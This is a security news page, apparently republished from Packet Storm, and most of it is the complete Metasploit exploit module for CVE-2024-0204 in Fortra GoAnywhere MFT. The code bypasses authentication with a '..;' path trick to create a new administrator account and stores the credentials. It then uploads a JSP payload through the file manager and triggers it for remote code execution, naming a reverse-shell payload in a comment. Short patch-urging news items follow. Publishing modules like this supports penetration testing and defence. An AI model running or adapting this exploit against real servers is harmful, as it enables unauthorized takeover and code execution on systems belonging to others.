Security
Headlines
HeadlinesLatestCVEs

Headline

Fortra GoAnywhere MFT Unauthenticated Remote Code Execution

This Metasploit module exploits a vulnerability in Fortra GoAnywhere MFT that allows an unauthenticated attacker to create a new administrator account. This can be leveraged to upload a JSP payload and achieve RCE. GoAnywhere MFT versions 6.x from 6.0.1, and 7.x before 7.4.1 are vulnerable.

Packet Storm
#vulnerability#web#windows#linux#js#git#java#rce#auth#ssl
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::FileDropper  include Msf::Auxiliary::Report  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Fortra GoAnywhere MFT Unauthenticated Remote Code Execution',        'Description' => %q{          This module exploits a vulnerability in Fortra GoAnywhere MFT that allows an unauthenticated attacker to          create a new administrator account. This can be leveraged to upload a JSP payload and achieve RCE. GoAnywhere          MFT versions 6.x from 6.0.1, and 7.x before 7.4.1 are vulnerable.        },        'License' => MSF_LICENSE,        'Author' => [          'sfewer-r7', # MSF RCE Exploit          'James Horseman', # Original auth bypass PoC/Analysis          'Zach Hanley' # Original auth bypass PoC/Analysis        ],        'References' => [          ['CVE', '2024-0204'],          ['URL', 'https://www.fortra.com/security/advisory/fi-2024-001'], # Vendor Advisory          ['URL', 'https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/']        ],        'DisclosureDate' => '2024-01-22',        'Platform' => %w[linux win],        'Arch' => [ARCH_JAVA],        'Privileged' => true, # Could be 'NT AUTHORITY\SYSTEM' on Windows, or a non-root user 'gamft' on Linux.        'Targets' => [          [            # Tested on GoAnywhere 7.4.0 with the payload java/jsp_shell_reverse_tcp            'Automatic', {}          ],          [            'Linux',            {              'Platform' => 'linux',              'GOANYWHERE_INSTALL_PATH' => '/opt/HelpSystems/GoAnywhere'            }          ],          [            'Windows',            {              'Platform' => 'win',              'GOANYWHERE_INSTALL_PATH' => 'C:\\Program Files\\Fortra\\GoAnywhere\\'            },          ],        ],        'DefaultOptions' => {          'RPORT' => 8001,          'SSL' => true        },        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [            IOC_IN_LOGS,            # A new admin account is created, which the exploit can't destroy.            CONFIG_CHANGES,            # The upload may leave payload artifacts if the FileDropper mixins cleanup handlers cannot delete them.            ARTIFACTS_ON_DISK          ]        }      )    )    register_options(      [        OptString.new('TARGETURI', [true, 'The base path to the web application', '/goanywhere/']),      ]    )  end  def check    # We can query an undocumented unauthenticated REST API endpoint and pull the version number.    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, '/rest/gacmd/v1/system')    )    return CheckCode::Unknown('Connection failed') unless res    return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200    json_data = res.get_json_document    product = json_data.dig('data', 'product')    version = json_data.dig('data', 'version')    return CheckCode::Unknown('No version information in response') if product.nil? || version.nil?    # As per the Fortra advisory, the following version are affected:    # * Fortra GoAnywhere MFT 6.x from 6.0.1    # * Fortra GoAnywhere MFT 7.x before 7.4.1    # This seems to imply version 6.0.1 through to 7.4.0 (inclusive) are vulnerable.    if Rex::Version.new(version).between?(Rex::Version.new('6.0.1'), Rex::Version.new('7.4.0'))      return CheckCode::Appears("#{product} #{version}")    end    Exploit::CheckCode::Safe("#{product} #{version}")  end  def exploit    # CVE-2024-0204 allows an unauthenticated attacker to create a new administrator account on the target system. So    # we generate the username/password pair we want to use.    # Note: We cannot delete the administrator account that we create.    admin_username = Rex::Text.rand_text_alpha_lower(8)    admin_password = Rex::Text.rand_text_alphanumeric(16)    # By using a double dot path segment with a semicolon in it, we can bypass the servers attempts to block access to    # the /wizard/InitialAccountSetup.xhtml endpoint that allows new admin account creation. As we leverage a double    # dot path segment, we need a directory to navigate down from, there are many available on the target so we pick    # a random one that we know works.    path_segments = %w[styles fonts auth help]    path_segment = path_segments.sample    # This is CVE-2024-0204...    initialaccountsetup_endpoint = "/#{path_segment}/..;/wizard/InitialAccountSetup.xhtml"    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, initialaccountsetup_endpoint),      'keep_cookies' => true,      'vars_post' => {        'javax.faces.ViewState' => get_viewstate(initialaccountsetup_endpoint),        'j_id_u:creteAdminGrid:username' => admin_username,        'j_id_u:creteAdminGrid:password' => admin_password,        'j_id_u:creteAdminGrid:password_hinput' => admin_password,        'j_id_u:creteAdminGrid:confirmPassword' => admin_password,        'j_id_u:creteAdminGrid:confirmPassword_hinput' => admin_password,        'j_id_u:creteAdminGrid:submitButton' => '',        'createAdminForm_SUBMIT' => 1      }    )    # The method com.linoma.ga.ui.admin.users.InitialAccountSetupForm.InitialAccountSetupForm.submit will call method    # loginNewAdminUser and update our current session, so we dont need to manually login.    unless res&.code == 302 && res.headers['Location'] == normalize_uri(target_uri.path, 'Dashboard.xhtml')      fail_with(Failure::UnexpectedReply, "Unexpected reply 1 from #{initialaccountsetup_endpoint}")    end    print_status("Created account: #{admin_username}:#{admin_password}. Note: This account will not be deleted by the module.")    store_credentials(admin_username, admin_password)    # Automatic targeting will detect the OS and product installation directory, by querying the About.xhtml page.    if target.name == 'Automatic'      res = send_request_cgi(        'method' => 'GET',        'uri' => normalize_uri(target_uri.path, '/help/About.xhtml'),        'keep_cookies' => true      )      unless res&.code == 200        fail_with(Failure::UnexpectedReply, 'Unexpected reply 2 from About.xhtml')      end      # The OS name could be something like "Linux" or "Windows Server 2022". Under the hood, GoAnywhere is using      # the Java system property "os.name".      os_match = res.body.match(%r{<span id="AboutForm:\S+:OSName">(.+)</span>})      unless os_match        fail_with(Failure::UnexpectedReply, 'Did not locate OSName in About.xhtml')      end      # To perform the JSP payload upload, we need to know the product installation path.      install_match = res.body.match(%r{<span id="AboutForm:\S+:goAnywhereHome">(.+)</span>})      unless install_match        fail_with(Failure::UnexpectedReply, 'Did not locate goAnywhereHome in About.xhtml')      end      # Find the Metasploit target (Linux/Windows) via a substring of the OS name we get back from GoAnywhere.      found_target = targets.find do |t|        os_match[1].downcase.include? t.name.downcase      end      unless found_target        fail_with(Failure::NoTarget, "Unable to select an automatic target for '#{os_match[1]}'")      end      # Dup the target we found, as we patch in the GOANYWHERE_INSTALL_PATH below.      detected_target = found_target.dup      detected_target.opts['GOANYWHERE_INSTALL_PATH'] = install_match[1]      print_status("Automatic targeting, detected OS: #{detected_target.name}")      print_status("Automatic targeting, detected install path: #{detected_target['GOANYWHERE_INSTALL_PATH']}")    else      detected_target = target    end    # We are going to upload a JSP payload via the FileManager interface. We first have to get the FileManager, then    # change to the directory we want to upload to, then upload the file.    path_separator = detected_target['Platform'] == 'win' ? '\\' : '/'    # We drop the JSP payload to a location such as: /opt/HelpSystems/GoAnywhere/adminroot/PAYLOAD_NAME.jsp    adminroot_path = detected_target['GOANYWHERE_INSTALL_PATH']    adminroot_path += path_separator unless adminroot_path.end_with? path_separator    adminroot_path += 'adminroot'    adminroot_path += path_separator    viewstate = get_viewstate('/tools/filemanager/FileManager.xhtml')    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),      'keep_cookies' => true,      'vars_post' => {        'javax.faces.ViewState' => viewstate,        'j_id_4u:j_id_4v:newPath_focus' => '',        'j_id_4u:j_id_4v:newPath_input' => '/',        'j_id_4u:j_id_4v:newPath_editableInput' => adminroot_path,        'j_id_4u:j_id_4v:NewPathButton' => '',        'j_id_4u_SUBMIT' => 1      }    )    unless res&.code == 200      fail_with(Failure::UnexpectedReply, 'Unexpected reply 4 from FileManager.xhtml')    end    # We require a regID value form the page to upload a file, so we pull that out here.    vs_input = res.get_html_document.at('input[name="reqId"]')    unless vs_input&.key? 'value'      fail_with(Failure::UnexpectedReply, 'Did not locate reqId in reply 4 from FileManager.xhtml')    end    request_id = vs_input['value']    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),      'keep_cookies' => true,      'vars_post' => {        'javax.faces.ViewState' => viewstate,        'javax.faces.partial.ajax' => 'true',        'javax.faces.source' => 'uploadID',        'javax.faces.partial.execute' => 'uploadID',        'javax.faces.partial.render' => '@none',        'uploadID' => 'uploadID',        'uploadID_sessionCheck' => 'true',        'reqId' => request_id,        'whenFileExists_focus' => '',        'whenFileExists_input' => 'rename',        'uploaderType' => 'filemanager',        'j_id_4i_SUBMIT' =>  1      }    )    unless res&.code == 200      fail_with(Failure::UnexpectedReply, 'Unexpected reply 5 from FileManager.xhtml')    end    jsp_filename = Rex::Text.rand_text_alphanumeric(8) + '.jsp'    message = Rex::MIME::Message.new    message.add_part(request_id, nil, nil, 'form-data; name="reqId"')    message.add_part('', nil, nil, 'form-data; name="whenFileExists_focus"')    message.add_part('rename', nil, nil, 'form-data; name="whenFileExists_input"')    message.add_part('filemanager', nil, nil, 'form-data; name="uploaderType"')    message.add_part('1', nil, nil, 'form-data; name="j_id_4i_SUBMIT"')    message.add_part(viewstate, nil, nil, 'form-data; name="javax.faces.ViewState"')    message.add_part('true', nil, nil, 'form-data; name="javax.faces.partial.ajax"')    message.add_part('uploadID', nil, nil, 'form-data; name="javax.faces.partial.execute"')    message.add_part('uploadID', nil, nil, 'form-data; name="javax.faces.source"')    message.add_part('1', nil, nil, 'form-data; name="uniqueFileUploadId"')    message.add_part(payload.encoded, 'text/plain', nil, "form-data; name=\"uploadID\"; filename=\"#{jsp_filename}\"")    # We can now upload our payload...    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),      'keep_cookies' => true,      'ctype' => 'multipart/form-data; boundary=' + message.bound,      'data' => message.to_s    )    unless res&.code == 200      fail_with(Failure::UnexpectedReply, 'Unexpected reply 6 from FileManager.xhtml')    end    # Register our payload so it is deleted when the session is created.    jsp_filepath = adminroot_path + jsp_filename    print_status("Dropped payload: #{jsp_filepath}")    # We are using the FileDropper mixin to automatically delete this file after a session has been created.    register_file_for_cleanup(jsp_filepath)    # A copy of the files this user uploads is left here:    # /opt/HelpSystems/GoAnywhere/userdata/documents/ADMIN_USERNAME/PAYLOAD_NAME.jsp    # We register these to be deleted, but they appear to be locked, preventing deleting.    userdoc_path = detected_target['GOANYWHERE_INSTALL_PATH']    userdoc_path += path_separator unless userdoc_path.end_with? path_separator    userdoc_path += 'userdata'    userdoc_path += path_separator    userdoc_path += 'documents'    userdoc_path += path_separator    userdoc_path += admin_username    userdoc_path += path_separator    register_file_for_cleanup(userdoc_path + jsp_filename)    register_dir_for_cleanup(userdoc_path)    # Finally, trigger our payload via a GET request...    send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, jsp_filename)    )    # NOTE: it is not possible to delete the user account we created as we cant delete ourself either via the web    # interface or REST API.  end  # Helper method to pull out a viewstate identifier from a requests HTML response.  def get_viewstate(endpoint)    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, endpoint),      'keep_cookies' => true    )    unless res&.code == 200      fail_with(Failure::UnexpectedReply, "Unexpected reply during get_viewstate via '#{endpoint}'.")    end    vs_input = res.get_html_document.at('input[name="javax.faces.ViewState"]')    unless vs_input&.key? 'value'      fail_with(Failure::UnexpectedReply, "Did not locate ViewState during get_viewstate via '#{endpoint}'.")    end    vs_input['value']  end  def store_credentials(username, password)    service_data = {      address: datastore['RHOST'],      port: datastore['RPORT'],      service_name: 'GoAnywhere MFT Admin Interface',      protocol: 'tcp',      workspace_id: myworkspace_id    }    credential_data = {      origin_type: :service,      module_fullname: fullname,      username: username,      private_data: password,      private_type: :password    }.merge(service_data)    credential_core = create_credential(credential_data)    login_data = {      core: credential_core,      last_attempted_at: DateTime.now,      status: Metasploit::Model::Login::Status::SUCCESSFUL    }.merge(service_data)    create_credential_login(login_data)  endend

Related news

Patch now! Fortra GoAnywhere MFT vulnerability exploit available

A new vulnerability in Fortra GoAnywhere MFT now has exploit code available that allows an attacker to create a new admin user.

Patch Your GoAnywhere MFT Immediately - Critical Flaw Lets Anyone Be Admin

A critical security flaw has been disclosed in Fortra's GoAnywhere Managed File Transfer (MFT) software that could be abused to create a new administrator user. Tracked as CVE-2024-0204, the issue carries a CVSS score of 9.8 out of 10. "Authentication bypass in Fortra's GoAnywhere MFT prior to 7.4.1 allows an unauthorized user to create an admin user via the administration portal," Fortra&

Packet Storm: Latest News

Acronis Cyber Protect/Backup Remote Code Execution